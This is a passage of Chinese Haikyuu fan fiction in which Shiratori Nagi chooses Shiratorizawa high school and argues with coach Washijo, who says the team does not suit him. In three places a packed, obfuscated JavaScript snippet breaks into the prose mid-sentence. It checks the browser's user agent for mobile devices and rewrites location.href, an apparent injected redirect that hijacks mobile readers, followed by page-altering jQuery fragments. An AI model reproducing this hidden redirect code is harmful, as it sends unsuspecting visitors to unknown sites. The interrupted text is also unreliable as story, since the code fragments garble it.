《天鹅飞进白鸟泽》 3. 决定君 白鸟凪离开了仙台体育馆。 “啧……接下来就是为自己挑一个要待三年的窝了。” 白鸟凪晃晃悠悠的回家，爽朗出声：“我回来啦！” 本以为会像往常一样无人回应，没想到厨房里传来了熟悉的声音：“欢迎回家，阿凪。” 白鸟凪眼睛一亮：“老妈！” 白鸟千代漂亮的眼睛顿时一厉：“我很老？” 白鸟凪连忙上前，讨好似的捶了捶妈妈的肩膀：“母上大人您怎么回来了？怎么不提前和我说一声，我好去机场接您……” 对上自家母上，白鸟凪更是唠叨得没边。 在商场上雷厉风行的总裁白鸟千代，面对自己的儿子时意外的有耐心，伸手轻轻敲了一下阿凪的脑门：“何必折腾你，我又不是不认识回家的路。” 白鸟凪嘿嘿一笑，围在妈妈的身边，喋喋不休的分享着自己最近的生活。 “我就知道我儿子是最棒的。”白鸟千代骄傲的抬起下巴，干练的白色短发衬得她眉目精致又凌厉，可对上自家儿子时，凌厉的眼角就会化成柔和的光，里面溢满了爱意。 沐浴在这样的目光中，连灵魂都会被烘得暖暖的。 白鸟凪撇撇嘴：“虽然也我认为我是最棒的……但输了就是输了，我还没有到输掉比赛也不认账的程度。” 白鸟千代没好气的又伸手敲了一下儿子的脑门：“一时的胜负并不影响你是一个很棒的孩子。” “输了比赛，却没有输掉志气，我们白鸟家的孩子就应该有这样的心态。” 越挫越勇，绝不放弃。 她说自己的儿子是最棒的，可绝不是什么无脑的称赞——虽然她经常无视事实的称赞儿子，但这次绝对不是。 白鸟凪对上妈妈明亮的视线，面对任何人的夸赞都能脸不红心不跳的他，此刻终于红了耳尖。 “还、还是妈妈你教得好啦～”白鸟凪又在妈妈身边腻歪了一会儿，才一起和妈妈做料理。 他从小就和妈妈一起进厨房，一起研究料理，所以两人搭配起来干活格外默契。 没一会儿的功夫，四菜一汤已经上桌。 在饭桌上，他们也没有食不言的规矩，随意的聊着天。 “接下来就要全力准备升学了，选好心怡的学校了吗？”白鸟千代想了想：“要不要转学到美国？美国的排球也很不错。” 她的事业重心在美国，为此她需要长期在美国工作，不得不将阿凪一个人丢在国内。 白鸟千代经常半夜想儿子想得睡不着觉，然而当起床铃声响起的那一刻，她就又变成在商场上叱咤风云的白鸟总裁。 她已经不是第一次提出想让阿凪转学了，无一例外，阿凪全部都拒绝了。 这一次当然也一样。 “到国外念书还是算了。”白鸟凪摇摇头：“妈妈你不要总是担心我一个人生活不好，我挺好的。” 白鸟凪做出健美先生的姿势：“你看，非常的健壮！” 白鸟凪确实将自己养得很好，否则白鸟千代一定会陪在孩子身边的。 白鸟千代失笑：“好吧好吧……既然你不想离开宫城县的话，要不要考虑一下白鸟泽？” 白鸟凪微愣：“白鸟泽？” 白鸟千代想了想：“我是不是没跟你说过，我毕业于白鸟泽？” 白鸟凪大惊：“你从来都没说过！” 他的妈妈竟然毕业于白鸟泽？那个排球强豪白鸟泽……等等，妈妈毕业于白鸟泽似乎也挺正常的？ 毕竟白鸟泽是宫城县内的顶尖私立学校，大部分家中小有资产的学生家长都会为孩子选择这所学校。 白鸟家从他外曾祖父时起就富起来了，到他妈妈这一辈更是富得没边。 作为宫城县土生土长的本地“暴发户”，他妈妈在白鸟泽上学很合理。 白鸟千代见儿子神色恍惚，又慢吞吞的丢下一个炸弹：“我还是白鸟泽高中女子排球队的主将呢。” 白鸟凪：？！！ 妈妈你到底藏了多少秘密！ …… 白鸟千代只在国内待了一周的时间，就急急忙忙返回美国继续发展事业了。 留下白鸟凪一个人在家恍恍惚惚。 在这一周的时间里，白鸟凪被巨大的信息量冲昏了头脑，上课时发呆下课时打坐，老师们一度以为他们心爱的学生生了什么大病。 看上去像是精神方面的。 白鸟凪一天不上房揭瓦，他们都怀疑白鸟凪精神出问题了。 白布贤二郎第六次在走廊里偶遇神色恍惚的白鸟学长后，终于没忍住，主动询问道：“白鸟学长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113802|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你最近怎么了？” 感觉像是丢了半个魂一样，神色恍惚脚步迷离，最重要的是——白鸟学长都不开屏了！ 不开屏的白鸟学长太可怕了！ 白鸟凪回神，目光触及后辈好奇的视线，他瞬间抬头挺胸，一脸严肃道：“没什么……” 白布贤二郎死鱼眼：你最好是真的没什么。 白鸟凪想了想，最终还是选择和他最喜欢的后辈分享自己的苦恼：“突然发现自己的母上大人是个隐藏的排球大佬……” 白布贤二郎：……什么叫突然发现？难道白鸟学长打了这么久的排球，从来都不知道他的妈妈也会打排球？ 白鸟凪对上白布的视线提问，无奈的耸耸肩：“就是不知道啊。” 自家母上大人从他记事起就忙得一连几个月都见不上一面，虽然母子之间感情非常好，但能够面对面交流感情的时间并不多。 所以他才会在知道“妈妈在高中时期是女排部主将，并且曾经带领白鸟泽女排打进过全国大赛”这件事后久久不能回神。 这简直……太酷啦！ 白布贤二郎敏锐的发现了白鸟学长恍惚中带着点小炫耀的心情。 就像是很崇拜的偶像突然对他表示：其实我还可以更厉害。 白鸟凪：天啦！我家母上大人是全能的神仙吗！ 白布贤二郎面无表情的听着白鸟学长炫耀他家“全知全能”的母上大人，时不时的在白鸟学长充满压迫感的视线下点头附和。 他倒是没什么不情愿的心情，从白鸟学长的描述上来看，这位白鸟女士确实是个非常厉害的人。 只是这位白鸟女士听上去像个时间管理大师一样，似乎将自己绝大部分的时间都放在了自己的事业上，留给家庭的只有勉强挤出来的休息时间。 而白鸟凪却非常敬佩这一点。 “我的妈妈有她自己的人生和事业，而我要做的就是全力支持她做自己。” 白鸟凪眼睛很亮，里面藏着明晃晃的爱与期待：“她应该不受任何束缚的展翅高飞。” 白布贤二郎想，白鸟女士应该很骄傲自己有这样一个儿子，能够理解她的全部梦想。 “我决定了。”白鸟凪话锋一转：“我要报考白鸟泽！” 白布贤二郎：……你这话题转得也太快了！ 4. 发现君 白鸟凪是个执行力非常强的人。 在他决定了报考白鸟泽后，便通过各种渠道来了解白鸟泽这所学校。 升学是件麻烦的大事，他得收集足够多的信息，才能做出最终的决定。 白鸟凪用了一周的时间，将白鸟泽排球部的发展史查了个七七八八。 他挑了一个空闲的周末，将所有收集到的白鸟泽高中排球部比赛录像一个一个看过去，表情随着录像的播放不断变换着。 “呼……”白鸟凪往沙发上一躺，用湿热的毛巾盖在眼睛上，缓解长时间用眼的干涩。 他的脑袋里已经被白鸟泽高中排球部的比赛资料塞满了，急需他分门别类的将它们整理好，消化成为可以长时间储存在大脑里的知识。 就这样静静的躺了半个小时，白鸟凪才勉强整理出思绪。 “……有点糟糕。”白鸟凪喃喃自语道：“这个鹫匠教练，太厉害了。” 对于排球选手来说，教练当然是越厉害越好，什么将带什么兵，高中时期的排球教练几乎决定了选手的成长方向和未来。 所以很多时候选手选择的并不是队伍，而是教练。 和拥有王牌牛岛的白鸟泽国中排球部不同，近三年的白鸟泽高中排球部并没有出现很厉害的排球选手。 但即便是这样，白鸟泽高中部的教练鹫匠锻治也将自己的带队风格发挥到了极致。 “发掘、培育、延续……将每一名选手的个人特色都放大到极致，以选手个人技巧为中心的战术，直白且纯粹的强大。” 白鸟凪坐起来，目光有些复杂。 所以，如果是鹫匠教练的话，一定会发现他的排球风格和鹫匠教练想要打造的白鸟泽相性较差。 他将所有的比赛录像又重新看了一遍，似乎要将这样的风格深深地印在脑子里。 …… 第二天，白鸟凪顶着一对硕大的黑眼圈，走进黑丰中学体育馆。 在白鸟凪引退后，白布贤二郎被选为黑丰排球部的新任主将，此时正带队进行日常训练。 “……白鸟学长，你在cos熊猫？”白布贤二郎眉头微蹙：“有什么事吗？” 自从白鸟学长引退后，这还是白鸟学长第一次在排球部部活的时间来体育馆。 白鸟凪脚步一顿，像是终于想起什么一样恍然大悟道：“对哦，我引退了，不需要再参加部活了。” 熬夜熬得大脑短路，忘了自己已经引退的事了。 白布贤二郎：……有时候真的搞不懂白鸟学长到底在想什么。 白鸟凪在感叹这一句让人满头黑线的话后，便兴致勃勃的冲进了后辈堆堆里。 来都来了，别白来！ 打会儿排球再走！ 于是，已经引退的三年级学长、前任主将白鸟凪，重新融入了黑丰排球部这个大家庭。 后辈们欢呼着高举手臂，热烈欢迎他们最喜欢的学长返回排球部。 白布贤二郎辣评：像一群刚完成进化的猴子。 他至今都不明白，又自恋又爱开屏的白鸟学长，到底为什么会大受欢迎。 白鸟凪幸福的被后辈们包围着，像是感受到了来自白布的怨念一样，他百忙之中对着白布的方向高举手臂，比了个耶。 这就是白鸟学长的魅力，臣服吧白布！ 白布贤二郎：……这样臭屁的学长，到底谁在喜欢？！ 黑丰排球部众：白布！傲娇退市场了！ 和后辈们打了一会儿排球后，白鸟凪才终于从后辈们的热情中抽身，和白布溜到角落里闲聊。 “其实，青叶城西也不错。”白鸟凪突然出声。 他昨天熬了一宿，将青城、乌野、伊达工业、条善寺这几个县内排球强校近两年的比赛都看了个遍。 每个学校都有其独一无二的特色，球队风格鲜明，看得他十分入迷。 在看完这些学校的比赛后，白鸟凪用自己熬了一宿十分混沌的大脑得出结论：和他的排球风格最融洽的球队，是青城。 对，就是及川彻要去的那个青城。 ……简直黑色幽默。 白布贤二郎转头，对上白鸟学长的黑眼圈。 虽然白鸟学长的性格幼稚又自恋，喜欢出风头的同时还总是沉迷在大家的夸夸中无法自拔，最大的苦恼是“大家都太爱我了怎么办”这样离谱的事…… 但白布贤二郎总能发现白鸟学长身上过于理智清醒的一面。 白鸟学长有种奇特的本领，就是将自己的情绪从事件中抽离，然后以旁观者的姿态观察整件事的起承转合，从中寻找到自己需要的信息。 ……这个特质并不会影响白鸟学长的自恋，甚至白鸟学长会一脸得意的向他们吹嘘这个本事，然后在一声声夸赞中迷失自我。 完全活在自己世界里的可怕生物，白鸟凪。 白布贤二郎想问，难道白鸟泽不符合你的排球理念吗？ 可话还没问出口，白鸟凪便率先开口了： “不过及川和岩泉那两个家伙一定会去青城，啧。” 这一声“啧”里的情绪太复杂，白布贤二郎一时间没能跟上白鸟学长的思路。 大部分人都很难跟上白鸟凪那跳脱的思路。 “还是白鸟泽吧。”白鸟凪伸了个懒腰：“挑战总是伴随着巨大的机遇，如果被可以预见的困难吓到，因此错过很有趣的人生，那就太可惜了。” 相性不合怎么了？磨着磨着自然就合了！ 他都叫白鸟了，当然要去白鸟泽！ 如果他能和白鸟泽成功匹配的话…… 白鸟凪嘴角微微上扬，眼神亮得惊人：那他和白鸟泽之间，就会产生比“适合”更精彩的化学反应—— 变革。 白布贤二郎：……白鸟学长到底在说些什么？既然已经预见了困难，为什么非要莽上去？？ 你对有趣人生的定义就是迎难而上吗？ 满头问号的白布贤二郎露出死鱼眼。 白鸟凪没打算解释，他只是需要一个人来听他的自言自语。 白布一直都是个很好的听众——就算听不懂，也不会打断他。 他又絮絮叨叨的说了些在白布贤二郎看来很没有营养的话。 比如“像我这样完美的人无论到哪里都会很受欢迎”“这么受欢迎真的很抱歉”“就算是想尽办法也很难收敛我这迷人的魅力呢”…… 白布贤二郎：住嘴！你住嘴啊！ 擅长用眼神吐槽的白布贤二郎，飞眼神飞到眼尾都抽筋了。 在白布的忍耐力到达极限前，白鸟凪敏锐的察觉到了危险，像一道风一样，匆匆的来，匆匆的走。 差点开口吐槽的白布贤二郎：……他来干什么来了？ …… 逗过有趣的后辈后，白鸟凪经过慎重考虑，毅然决然的选择了白鸟泽。 他将这个消息告诉了母上大人。 “那是一个可以包容选手所有个性的地方。”电话里，白鸟千代的声音中带着笑意：“你在白鸟泽会生活的很开心。” 虽然她和儿子之间相处的时间并不长，但她太了解自己的儿子了。 阿凪是个固执到有些自我的孩子，绝不会轻易被环境改变。 在不够舒适的环境里，他只会和压迫他的力量撞得头破血流。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115274|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟泽很好，用强大包容一切个性，让每个人都可以尽情施展自己的才华。 “你毕业时我会尽量赶回来——”白鸟千代指尖点在办公桌上，一下又一下，十分规律。 白鸟凪躺在沙发上翘着脚，声音清爽：“将工作堆到一起然后再焦头烂额的处理？比起让你挤出时间来参加我的毕业典礼，我更希望你好好休息。” 电话挂断后，白鸟千代看着桌面上那份刚刚还让人火冒三丈的策划，缓缓勾起嘴角。 她的孩子真是世界上最最可爱最最贴心的好孩子！ 来交策划的倒霉组长心惊胆战的看着刚刚还阴沉着脸、如今笑容灿烂的白鸟总裁，紧张的咽了咽口水。 呜呜呜白鸟总裁笑起来比黑着脸时更可怕！ 白鸟凪将自己准备报考白鸟泽这个消息告诉了母上大人后，便开始着手准备升学考试。 同时，他也在不断的通过黑丰教练接触各个高校的排球教练。 虽然他被及川那个臭屁孔雀压着打了整整三年，但他的个人实力展现并没有因此失色，很多高校的排球教练都注意到了黑丰中学排球部的王牌主将，并递来了体育特招邀请。 其中甚至有白鸟凪曾经评价为“最适合自己”的青叶城西。 白鸟凪都一一拒绝了。 “今天也没有白鸟泽教练的来电……”黑丰教练无奈道：“以你的成绩，又不用走体育特招，为什么这么期待白鸟泽的特招名额？” 白鸟凪托着下巴，理所当然道：“白鸟泽的教练来邀请我，我在表达感谢后拒绝他的特招，然后在白鸟泽教练稍稍露出遗憾的表情时，选择以文化课成绩考上白鸟泽——这样的流程比较帅气。” 黑丰教练：…… 他在黑丰排球部当了三年的挂名教练，他以为自己和白鸟凪已经是很默契的搭档了。 但他还是经常搞不懂白鸟凪到底在想什么。 黑丰教练叹气道：“大部分高校的体育特招名额在这段时间就会定下来，如果再过一周还没有白鸟泽的来电的话，那你就只能省略这个帅气的流程，直接报考白鸟泽了。” 白鸟凪郁闷，小声嘀咕道：“鹫匠教练那么厉害的人，一定会发现我这样耀眼的王牌吧。” 也可能是发现得太深刻，于是直接将他pass掉了…… 黑丰教练看着一脸纳闷的白鸟，忍不住露出了慈爱的笑容。 来办公室送训练表的白布贤二郎看到黑丰教练的笑容后，嘴角微抽，有些无语。 又来了，那种“我家王牌真是世界第一可爱啊”的笑容！ 白鸟凪的超绝自恋性格，黑丰排球部的各位都有责任！ 白布贤二郎将自己手中的训练表放在黑丰教练的桌子上，低声提醒道：“来客人了。” 门外，赫然站着白鸟凪和黑丰教练刚刚提到过的白鸟泽高中排球部的教练，鹫匠锻治。 他的身后，是他的接班人，齐藤明。 没有电话预约，直接上门来访。 鹫匠锻治双手背在身后，矮小瘦削的身形微微佝偻着，却并不会让人看低他，反而会被他凌厉的眼中所散发出的强悍气场压制。 白鸟凪看向白布：鹫匠教练什么时候来的？ 白布贤二郎平静回视：在你说“一定会发现我这样耀眼的王牌吧”的时候，就来了。 白鸟凪：…… 就在白布贤二郎以为白鸟学长终于遇到了自己人生中的尴尬瞬间时，白鸟凪微微一笑，站起身面对鹫匠教练： “您来的正好。” 白布贤二郎：……？ 黑丰教练：……？ 鹫匠锻治：？？？ 5. 苗子君 人不会为说出实话而尴尬。 白鸟凪认为自己说的全部都是大实话。 于是他很坦然的看向鹫匠教练，脸上半分尴尬的情绪都没有。 鹫匠锻治：这是何等自恋的人！ 白布贤二郎、黑丰教练：没错，白鸟学长/白鸟就是这样自恋的人！ 黑丰教练回过神后，连忙安排鹫匠教练和齐藤教练落座。 “冒昧来访，打扰了。”鹫匠锻治坐在椅子上，虽然因为身体的缘故，他并没有坐得很端正，但谁也不敢小瞧他——宫城县名将之一，鹫匠之名，无人不知。 黑丰教练有些不适应的连连摆手：“没关系没关系……很高兴您的到访……” 他下意识的向白鸟投去求助的视线，而白鸟凪也自然而然的接过话题：“您来黑丰，是有什么事吗？” 见白鸟开口，黑丰教练松了口气，并习以为常的将对外社交的权利交给白鸟凪。 他本来就不是什么专业的排球教练，在白鸟凪组建黑丰排球部前，他只是一个爱看排球比赛的普通英语老师——甚至不是教白鸟那个年级的老师。 他不知道自己为什么会被白鸟发现，也不明白自己为什么迷迷糊糊的就答应了白鸟，成为黑丰排球部的教练兼指导老师。 后来，白布知道了这件事。 “没想到白鸟学长还有当诈骗犯的潜质。”白布贤二郎面无表情道。 黑丰教练：……也、也不至于是诈骗吧？ 总之，当时的他被一个部员都没有的白鸟凪哄着来到了黑丰排球部，只用了一张画得又大又圆的饼。 什么“打造宫城县第一排球队”啦，什么“冲出宫城走向全国”啦……听得他热血沸腾，好像马上就要站在东京体育馆里、迎接全国观众的欢呼与掌声了一样。 虽然一个都没有实现…… 他看着白鸟凪一点一点组建起黑丰排球部，看着白鸟凪遇上宿敌及川和岩泉，看着白鸟凪越挫越勇的三年。 如今，小小的白鸟也要飞出他一手搭建的巢穴了。 超级感性的黑丰教练忍不住扭头，擦去眼角的泪花。 白布贤二郎：……整个黑丰排球部，只有我一个正常人，只有我！ 鹫匠锻治惊讶于白鸟凪对黑丰排球部的绝对掌控力，更惊讶于这位黑丰教练的性格——想来，黑丰在赛场上那些战术部署，应该也和这位教练没什么关系了。 他再次转过后，看向白鸟凪的目光中带了些凝重。 如果他料想得没错，眼前这个少年或许比他想象中的还要厉害。 “听说，你的心仪院校是白鸟泽。”鹫匠锻治并不擅长绕圈子，直白的表示出自己前来黑丰的目的： “可以和我聊聊你选择白鸟泽的原因吗？” 白鸟凪每拒绝一个高校，都会坚定的表达自己想要报考白鸟泽。 鹫匠锻治和入畑伸照在赛场上打得如火如荼，但其实私交还不错。 于是在各大高校四处出击为自家队伍招生的时期，入畑伸照给鹫匠打了一个电话。 “恭喜你，除了‘左手重炮’外，又添一员‘智能僚机’。”入畑伸照半是羡慕半是咬牙切齿道。 鹫匠锻治：……？ 什么僚机？白鸟泽搞新战术了我怎么不知道？ 两人对了一下信息量后，陷入了长久的沉默。 入畑伸照不可思议：“你还没有接触过白鸟？” 鹫匠锻治嘴角微抽：“我为什么要接触白鸟？” 入畑伸照啧了一声：“早知道就不告诉你了。” 入畑伸照有些意外，以鹫匠教练的眼力，不可能看不出白鸟凪身上的巨大潜能，如今提前招生的时间已经快要过去，鹫匠教练却并没有打算接触白鸟…… “虽然我并不应该说这样的话……但我还是想多嘴一句，或许你可以和白鸟聊聊看。” 入畑伸照平时对待选手们都很严格，但其实是个很和善的人，顺手而为的事，他很愿意帮一把： “那孩子很坚定的为了白鸟泽排球部而想要报考白鸟泽，无论如何，你们也应该提前交流一下想法。” 他隐约意识到了鹫匠教练为什么不打算特招白鸟，想到白鸟凪那骄傲的样子，入畑伸照直白道： “如果那孩子提前知道自己不适合白鸟泽的话，没准会来我们青城。” 那孩子最适合青城了！他早早就看中了！ 只可惜是个坚定的白鸟泽信徒！ 入畑伸照磨牙，随即满怀期待的出声道：“辛苦了，鹫匠教练。” 快将小白鸟送进我们青城的怀抱吧！ 我们青城很愿意给小白鸟一个体育特招名额！ 鹫匠锻治听出了入畑声音里的雀跃。 他眉头微挑，答应了下来。 然后就是冒昧的直接到访——只有毫无准备的见面，才能看出一个少年最真实的心情。 鹫匠锻治端坐在椅子上，等待着白鸟凪的回答。 齐藤明也有些好奇的看向这个让鹫匠教练改变主意主动接触的少年。 他手上也有关于白鸟凪的资料，只是鹫匠教练始终没有提前特招白鸟凪的打算，那份比赛成绩不够漂亮但个人实力水平突出的资料就只能压在箱底。 没想到白鸟凪会拒绝所有特招他的学校，坚定的选择白鸟泽，究竟是什么原因呢…… “我也是白鸟，白鸟泽也是白鸟，我和白鸟泽天生一对！”白鸟凪理所当然得仿佛在说什么真理一样。 鹫匠锻治：…… 齐藤明：…… 白布贤二郎：…… 黑丰教练：…… 鹫匠锻治的头顶缓缓挤出一个问号：“就因为这个？” 白鸟凪似乎比他还要惊讶：“这还不够？” 鹫匠锻治再次哽住，瞪着眼前自信张扬的少年。 如果不是白鸟凪语气太真诚表情太坚定，鹫匠锻治几乎以为白鸟凪是在和他开玩笑了。 “实力、名气、球队风格、教练水平……”鹫匠锻治慢慢出声，仿佛在咬着后槽牙：“一般来说，选择一支队伍，应该从这些角度来考虑。” 白鸟凪认真道：“可我不是一般人，我是天才。” 他挺胸抬头，少年的眼睛熠熠生辉：“我在哪里，哪里就是强队！” 一瞬间，办公室里落针可闻。 鹫匠锻治仔仔细细的打量着眼前的少年。 他无疑是个很帅气的男生，即使坐在椅子上也能看出他身量修长，肌肉匀称，一看就是很精悍高挑的类型。 鹫匠锻治在来之前认真看过白鸟凪的所有比赛，说实话，非常惊艳。 即使黑丰被北川第一压制了整整三年，也没压住白鸟凪身上那过分耀眼的光辉。 只要按部就班的成长下去，终有一天白鸟凪会成为一个非常出色的王牌选手。 将白鸟凪特招进白鸟泽，百利无害。 鹫匠锻治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118361|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气，像是在惋惜，又像是坚定了自己的想法一样，出声道：“你不适合白鸟泽。” 白鸟泽不会拒绝这样一个出色的选手，可鹫匠锻治有着属于名将教练的骄傲。 白鸟凪的最优解并不是白鸟泽，而是青城。 他和入畑教练虽说关系不错，但也没有到挚友的地步，在赛场上时也是该挖坑就挖坑，该重锤就重锤，从来不会手下留情。 但这一次，即使会将一名足以改变战局的选手推给对手学校，鹫匠锻治也还是会说出这句话。 不合适就是不合适，学校之间的博弈，不能影响选手的未来。 白鸟凪大为震撼：“鹫匠教练，我不适合白鸟泽？您要不要看看我的名字再说话？” 我可是白鸟，白鸟诶！ 整个白鸟泽都不会有比我更适合白鸟泽的学生了！ 鹫匠锻治颇有些无语的翻了个白眼，和白鸟凪对话能让他年轻至少五十岁：“你叫白鸟和你适不适合白鸟泽有什么关系？强扭的瓜不甜！” 白鸟凪一怒之下，怒了一下：“不甜？我扭下来沾糖吃！” 管它甜不甜呢，我有的是力气和手段！ 鹫匠锻治气得瞪眼睛，白鸟凪针锋相对毫不示弱，手却一直示意着白布上前。 站在一边当摆件的白布贤二郎：……我一点都不想秒懂白鸟学长的想法。 “最受白鸟喜欢的后辈”动作麻利的用一次性纸杯接了温热的水，恭敬的递上前，低声道：“鹫匠教练，您喝水。” 别和白鸟学长生气，气坏身体无人替。 鹫匠锻治自然察觉到了白鸟凪的小动作，气哼哼的接过白布手中的一次性水杯，抿了口水，压了压火。 可以预见，如果白鸟凪这倒霉孩子真的加入了白鸟泽，在接下来的三年里，白鸟泽排球部将是多么鸡飞狗跳的三年。 站在鹫匠教练身后的齐藤明想了想，竟然有点期待。 不知不觉变成乐子人了呢。 温水压下了火气，鹫匠锻治勉强心平气和道：“一支合适的队伍可以让你的努力事半功倍，你当我愿意将一个好苗子推给其他学校？” 还不是因为两个白鸟相性太差，让他忍不住多劝两句！ 想到这，鹫匠锻治的火气又上来了。 白鸟凪虽然嚣张，但确实是个尊老爱幼的好少年，并不是存心想要气鹫匠教练。 但他在听见鹫匠教练称他为好苗子的时候，他还是乐的见牙不见眼：“嘿、嘿嘿……我就知道！鹫匠教练你也喜欢我！” 鹫匠锻治：…… 这辈子没这么无语过。 齐藤明：白鸟，你可一定要坚持啊！一定要来白鸟泽啊！不敢想有了白鸟的白鸟泽未来会多有趣！ 白布贤二郎：……白鸟学长，你就嚣张吧。 等到了白鸟泽，那里可是鹫匠教练的地盘。 到时候让你在体育馆门口当保安看大门，你就老实了。 黑丰教练：嘿嘿嘿，真不愧是白鸟！我们黑丰排球部的瑰宝！ 人人都爱白鸟！ 最终，鹫匠锻治带着齐藤明愤愤离开，只留下白鸟凪一边对他们挥手告别一边傻笑。 “白布，你听到了吗？鹫匠教练说我是好苗子哦！”白鸟凪叉腰，一脸得意。 白布贤二郎：……听到了听到了两个耳朵都听到了。 白鸟学长到底什么时候毕业？ 快去祸害白鸟泽的人吧！ 6. 自由君 回学校的路上，鹫匠锻治犹豫了片刻，才对齐藤明道：“留出一个特招名额，如果那臭小子没考上白鸟泽的话……” 他咬牙，越说越生气：“看着就不聪明！肯定考不上！” 齐藤明：说实话，白鸟凪长得还是很聪明的…… “这个麻烦的臭小子就交给你了。”鹫匠锻治努力顺顺气：“如果他最后选择了青城，你就不用再管了。” 那如果白鸟凪坚持报考白鸟泽呢？ 齐藤明没有再问下去。 如果白鸟凪坚持的话，这个特招名额就是白鸟凪的入学通知。 …… 虽然鹫匠教练的来访目的是“劝退”，但白鸟凪坚持认为自己达成了完美的“报考流程”。 白鸟和白布返回教学楼，站在走廊的窗边闲聊。 白布贤二郎大为困惑：“鹫匠教练来访的过程到底哪里像你幻想中的那个样子了？” 白鸟学长的幻想：鹫匠教练求才心切，提前招生，他轻描淡写的拒绝，并表示自己会通过升学考试报考白鸟泽。 实际上却是：鹫匠教练听说了白鸟学长想要报考白鸟泽，为了白鸟学长的长远发展，前来劝退，白鸟学长轻描淡写的拒绝，并表示自己一定会报考白鸟泽。 等等……好像真的…… 白鸟凪理直气壮：“都是‘我拒绝’‘我不听’‘我坚持’，差不多的。” 白布贤二郎：……差太多了吧！ “……你真的要坚持报考白鸟泽？”白布贤二郎表情复杂。 如果是他的话，被心怡高校的教练这样明确的拒绝，就算他心里再喜欢这所学校，恐怕也要好好考虑一下了。 白鸟凪脚尖一点，轻松跳起，坐在了走廊的窗台上：“当然，强扭的瓜到底甜不甜，得我说了算。” 他猜出了鹫匠教练大概的想法，反而更加坚定了想要报考白鸟泽的决心。 这样一个为选手负责的教练所带出来的队伍，就是他想要的队伍。 白布贤二郎犹豫片刻，一向不喜欢掺和别人个人决定的他咬咬牙，又劝了一次： “如果只是为了和鹫匠教练赌气，那太任性了。” 白鸟学长是个没有夸夸就会枯萎的麻烦家伙，如果白鸟泽真的如鹫匠教练所说的那样并不适合白鸟学长的话，白布贤二郎简直不敢想象白鸟学长的白鸟泽生活会多么沮丧。 就算白鸟学长中途意识到两个白鸟确实相性不合，还可以转学…… 一想到白鸟学长要出去吃够苦头才会回头，白布贤二郎心里就有点别扭。 习惯性操心，黑丰排球部成员的传统罢了。 白鸟凪笑眯眯的看向白布，眼睛弯成两道月牙：“白布，有没有人跟你说过，你其实是个傲娇？嘴上很嫌弃，其实心里爱我爱到不行吧！” 白布贤二郎：只有你说过，只有你！！ 白布贤二郎心中无声尖叫，被白鸟学长的话惊出一身冷汗。 他那双原本带着几分关心担忧的眼睛瞬间变为死鱼眼，并为自己刚刚难得的善良举动感到后悔。 混蛋白鸟学长！不要理直气壮的说一些很恶心的话！ 哪有人会天天把、把爱挂在嘴边啊？！ 白布贤二郎狠狠搓了搓胳膊，用实际行动表达出自己的嫌弃。 “没有任性。”白鸟凪无视白布身上的森森怨气，自顾自的悠哉晃腿，一副心情美好的样子——他少有心情不好的时候： “我说了，瓜甜不甜只有我知道。” 白鸟凪眨眨眼，笑容更深：“我想和白鸟泽碰撞出更精彩的可能——谁说选手选择球队时，只有合适这一条路呢？” 鹫匠教练真的是一位很有责任心的教练，哪怕是他这个还没迈进白鸟泽大门的“野生选手”，他也愿意远道而来，给予一些指点。 白鸟凪很感动，然后选择固执己见。 对于气到了鹫匠教练这件事，他很抱歉啦～ 白鸟凪语气轻松： “我在的地方，就是最适合我的地方。” 他在哪里，哪里就是最佳选择。 白布贤二郎沉默良久，才磨牙道：“开屏。” 被白鸟学长强大的自信糊了一脸的白布贤二郎暗暗唾弃自己的定力。 他被白鸟学长说服了。 白鸟学长在的地方，就是最强。 “白！鸟！我说过多少遍了，不许坐在窗台上！” 教导主任带着怒火的声音从走廊另一头传来，带着深深地崩溃：“这周你也给我挂在通报栏的最中间反思吧！” 白鸟凪优雅的跳下窗台，整理了一下衣服的褶皱后，才对着白布摆摆手：“回见～” 然后，他以一种令人难以理解的速度，迅速消失在走廊里。 教导主任的声音更崩溃了：“我说过很多遍了，不许在走廊里跑！！” 听我说话啊你这个混蛋学生！ 白布贤二郎看着一边怒吼一边快步走的教导主任，肃然起敬。 即使被白鸟学长气得头发都飞起来了，还依旧以身作则、绝不在走廊中奔跑的教导主任，真的很伟大。 向您致敬。 教导主任敏锐的转过头，看向白布：“你是2年1组的白布？” 白布贤二郎：…… 他站直身体：“教导主任好。” 教导主任胡乱的点点头：“嗯，很好，没被白鸟这臭小子带坏。” 白布贤二郎：……只要向您问好，就算“没被带坏”吗？这个标准是不是有点太低了？ 还有，白鸟学长你在教导主任的心里到底是多可怕的存在啊？？ 